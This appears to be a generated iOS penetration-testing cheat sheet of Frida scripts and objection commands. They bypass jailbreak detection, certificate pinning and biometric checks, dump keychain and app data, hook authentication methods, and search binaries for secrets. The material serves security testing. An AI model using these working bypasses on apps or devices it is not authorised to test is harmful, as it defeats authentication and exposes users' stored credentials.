$loading...
Generate iOS and Android penetration testing commands, Frida scripts, and OWASP Mobile Top 10 test cases. Enter your target app package ID and device details to get context-accurate commands for certificate pinning bypass, jailbreak and root detection bypass, ADB intent fuzzing, keychain extraction, and dynamic analysis with Frida.
# ── iOS Jailbreak Detection Bypass ───────────────────────────────────
# Method 1: objection (easiest — single command)
objection --gadget com.example.app explore
# Then in objection REPL:
ios jailbreak disable
# Method 2: Frida script — hook common jailbreak file checks
frida -U -n com.example.app -l jailbreak_bypass.js
# jailbreak_bypass.js:
var fileManager = ObjC.classes.NSFileManager;
var origFileExists = fileManager['- fileExistsAtPath:'];
Interceptor.attach(origFileExists.implementation, {
onEnter: function(args) {
var path = ObjC.Object(args[2]).toString();
var jailbreakPaths = [
'/Applications/Cydia.app',
'/Library/MobileSubstrate/MobileSubstrate.dylib',
'/bin/bash',
'/usr/sbin/sshd',
'/etc/apt',
'/private/var/lib/apt/',
'/usr/bin/ssh',
'/private/var/stash'
];
if (jailbreakPaths.some(p => path === p)) {
this.block = true;
console.log('[JB Bypass] Blocking check for: ' + path);
}
},
onLeave: function(retval) {
if (this.block) retval.replace(0);
}
});
# Method 3: Hook canOpenURL for Cydia scheme
var UIApp = ObjC.classes.UIApplication;
var canOpenURL = UIApp['- canOpenURL:'];
Interceptor.attach(canOpenURL.implementation, {
onEnter: function(args) {
var url = ObjC.Object(args[2]).toString();
if (url.indexOf('cydia') !== -1) this.block = true;
},
onLeave: function(retval) {
if (this.block) retval.replace(0);
}
});
# Method 4: Liberty Lite / A-Bypass (tweak-based, jailbroken device)
# Install via Cydia: Liberty Lite or A-Bypass
# Add com.example.app to bypass list in Settings# ── iOS Certificate Pinning Bypass ───────────────────────────────────
# Method 1: objection (preferred for quick testing)
objection --gadget com.example.app explore
ios sslpinning disable
# Method 2: Frida SSL Kill Switch 2
frida -U -n com.example.app -l ssl_kill_switch2.js
# Download: https://github.com/nabla-c0d3/ssl-kill-switch2
# Method 3: Frida — hook SecTrustEvaluate directly
# ssl_bypass_ios.js:
var SecTrustEvaluate_handle = Module.findExportByName('Security', 'SecTrustEvaluate');
if (SecTrustEvaluate_handle) {
Interceptor.replace(SecTrustEvaluate_handle, new NativeCallback(function(trust, result) {
var errSecSuccess = 0;
Memory.writeS32(result, errSecSuccess);
return errSecSuccess;
}, 'int', ['pointer', 'pointer']));
console.log('[SSL] SecTrustEvaluate hooked — all certs accepted');
}
var SecTrustEvaluateWithError_handle = Module.findExportByName('Security', 'SecTrustEvaluateWithError');
if (SecTrustEvaluateWithError_handle) {
Interceptor.replace(SecTrustEvaluateWithError_handle, new NativeCallback(function(trust, error) {
return 1; // true = trusted
}, 'bool', ['pointer', 'pointer']));
console.log('[SSL] SecTrustEvaluateWithError hooked');
}
# Method 4: TrustKit bypass (for apps using TrustKit framework)
var TrustKit = ObjC.classes.TrustKit;
if (TrustKit) {
var sharedInstance = TrustKit['+ sharedInstance'];
var pinningValidator = ObjC.classes.TSKPinningValidator;
var evaluateTrust = pinningValidator['- evaluateTrust:forHostname:'];
Interceptor.attach(evaluateTrust.implementation, {
onLeave: function(retval) {
retval.replace(ObjC.classes.TSKTrustDecision.TSKTrustDecisionShouldAllowConnection || 0);
}
});
}# ── iOS Keychain Extraction ───────────────────────────────────────────
# Method 1: objection keychain dump
objection --gadget com.example.app explore
ios keychain dump
ios keychain dump --json keychain_output.json
# Method 2: Frida script — enumerate kSecClassGenericPassword
// keychain_dump.js
var Security = Process.getModuleByName('Security');
var SecItemCopyMatching = new NativeFunction(
Security.getExportByName('SecItemCopyMatching'),
'int', ['pointer', 'pointer']
);
var query = {
'kSecClass': 'kSecClassGenericPassword',
'kSecReturnAttributes': true,
'kSecReturnData': true,
'kSecMatchLimit': 'kSecMatchLimitAll'
};
var result = Memory.alloc(Process.pointerSize);
var queryRef = ObjC.classes.NSDictionary.dictionaryWithDictionary_(query);
var status = SecItemCopyMatching(queryRef, result);
if (status === 0) {
var items = new ObjC.Object(Memory.readPointer(result));
console.log('[Keychain] Items: ' + items.description());
}
# Method 3: idb (iOS Debug Bridge)
idb connect 192.168.1.100 27042
idb keychain list --bundle-id com.example.app
# Method 4: Decode base64 keychain values
# objection output often base64-encodes values:
echo "BASE64_VALUE_HERE" | base64 -d
# Common keychain classes to dump:
# kSecClassGenericPassword — app passwords, tokens
# kSecClassInternetPassword — web service credentials
# kSecClassCertificate — certificates
# kSecClassKey — cryptographic keys# ── iOS Data Storage Analysis ───────────────────────────────────────── # Setup: Connect via SSH to jailbroken device ssh [email protected] # Default password: alpine # App container location: # /var/mobile/Containers/Data/Application/<UUID>/ # Find app container UUID: find /var/mobile/Containers/Data/Application -name "*.app" 2>/dev/null # Or use: ideviceinstaller -l # Method 1: NSUserDefaults dump (via objection) objection --gadget com.example.app explore ios nsuserdefaults get # Method 2: Frida — list all NSUserDefaults keys // userdefaults_dump.js var NSUserDefaults = ObjC.classes.NSUserDefaults; var defaults = NSUserDefaults.standardUserDefaults(); var keys = defaults.dictionaryRepresentation().allKeys(); console.log('[NSUserDefaults] Keys:'); for (var i = 0; i < keys.count(); i++) { var key = keys.objectAtIndex_(i).toString(); var val = defaults.objectForKey_(key).toString(); console.log(' ' + key + ': ' + val); } # Method 3: Plist file analysis find /var/mobile/Containers/Data/Application -name "*.plist" 2>/dev/null plutil -p /path/to/file.plist # Convert binary plist to XML: plutil -convert xml1 file.plist -o file_xml.plist # Method 4: SQLite databases find /var/mobile/Containers/Data/Application -name "*.sqlite" -o -name "*.db" 2>/dev/null sqlite3 /path/to/database.sqlite .tables .schema TABLE_NAME SELECT * FROM sensitive_table LIMIT 20; # Method 5: CoreData extraction find /var/mobile/Containers/Data/Application -name "*.sqlite*" # CoreData stores are SQLite under the hood
# ── iOS Runtime Method Swizzling ──────────────────────────────────────
# Method 1: Dump all loaded Objective-C classes
frida -U -n com.example.app -e "
var classes = ObjC.classes;
Object.keys(classes).forEach(function(name) {
console.log(name);
});
" 2>/dev/null | grep -i auth
# Method 2: Find and hook authentication methods
frida -U -n com.example.app -l method_hook.js
// method_hook.js — hook all methods of a specific class:
var className = 'UserAuthManager'; // replace with target class
var hook = ObjC.classes[className];
if (hook) {
Object.keys(hook.$ownMethods).forEach(function(method) {
try {
Interceptor.attach(hook[method].implementation, {
onEnter: function(args) {
console.log('[Hook] ' + className + ' ' + method);
// Log selector args (args[0]=self, args[1]=selector, args[2+]=params)
if (args[2]) {
try { console.log(' arg2: ' + ObjC.Object(args[2]).toString()); } catch(e) {}
}
},
onLeave: function(retval) {
console.log(' → return: ' + retval);
}
});
} catch(e) {}
});
console.log('[Swizzle] Hooked ' + Object.keys(hook.$ownMethods).length + ' methods');
}
# Method 3: Swift class method hooking
// For Swift, demangle class names:
// Swift.ClassName → _TtC<ModuleName><ClassName>
var className = '$s<ModuleName><ClassName>C';
// Use frida-swift-bridge for cleaner Swift hooking# ── iOS Biometric (Face ID / Touch ID) Bypass ────────────────────────
# Method 1: objection biometric bypass
objection --gadget com.example.app explore
ios ui biometrics_bypass
# Method 2: Frida — hook LAContext evaluatePolicy
// biometric_bypass.js
var LAContext = ObjC.classes.LAContext;
var evaluatePolicy = LAContext['- evaluatePolicy:localizedReason:reply:'];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
// args[4] is the reply block (completion handler)
var reply = ObjC.Block(args[4]);
var origReply = reply.implementation;
reply.implementation = function(success, error) {
console.log('[Biometric] Bypassing — forcing success=YES');
origReply(this, 1, null); // 1 = YES/true
};
}
});
# Method 3: canEvaluatePolicy hook (capability check)
var canEvaluate = LAContext['- canEvaluatePolicy:error:'];
Interceptor.attach(canEvaluate.implementation, {
onLeave: function(retval) {
retval.replace(1); // Always report biometrics available
console.log('[Biometric] canEvaluatePolicy → YES');
}
});
# Method 4: iOS Simulator — simulate biometric
# In Xcode Simulator: Hardware → Face ID / Touch ID → Matching Face# ── IPA Static Analysis ─────────────────────────────────────────────── # Step 1: Extract IPA contents cp com.example.app.ipa com.example.app.zip unzip com.example.app.zip -d extracted_ipa/ cd extracted_ipa/Payload/*.app/ # Step 2: Strings grep — find hardcoded secrets strings MachO_Binary | grep -iE 'api.?key|secret|token|password|auth|bearer|sk_live|pk_live' strings MachO_Binary | grep -E 'https?://[a-zA-Z0-9./]+' # Step 3: Plist analysis — Info.plist cat Info.plist plutil -p Info.plist # Look for: NSAppTransportSecurity, custom URL schemes, exported keys # Step 4: Binary analysis with otool otool -l MachO_Binary | grep -A5 'LC_ENCRYPTION_INFO' # Check encryption otool -L MachO_Binary # List linked frameworks nm -a MachO_Binary | grep -i 'auth|crypt|pin' # Symbol names # Step 5: Check for embedded secrets in all files grep -r "password|secret|api_key|token" extracted_ipa/ --include="*.plist" --include="*.json" # Step 6: class-dump for Objective-C headers class-dump -H MachO_Binary -o headers/ cat headers/AppDelegate.h grep -r "auth|login|pin|biometric" headers/ # Step 7: Check app transport security exceptions plutil -p Info.plist | grep -A5 "NSAppTransportSecurity"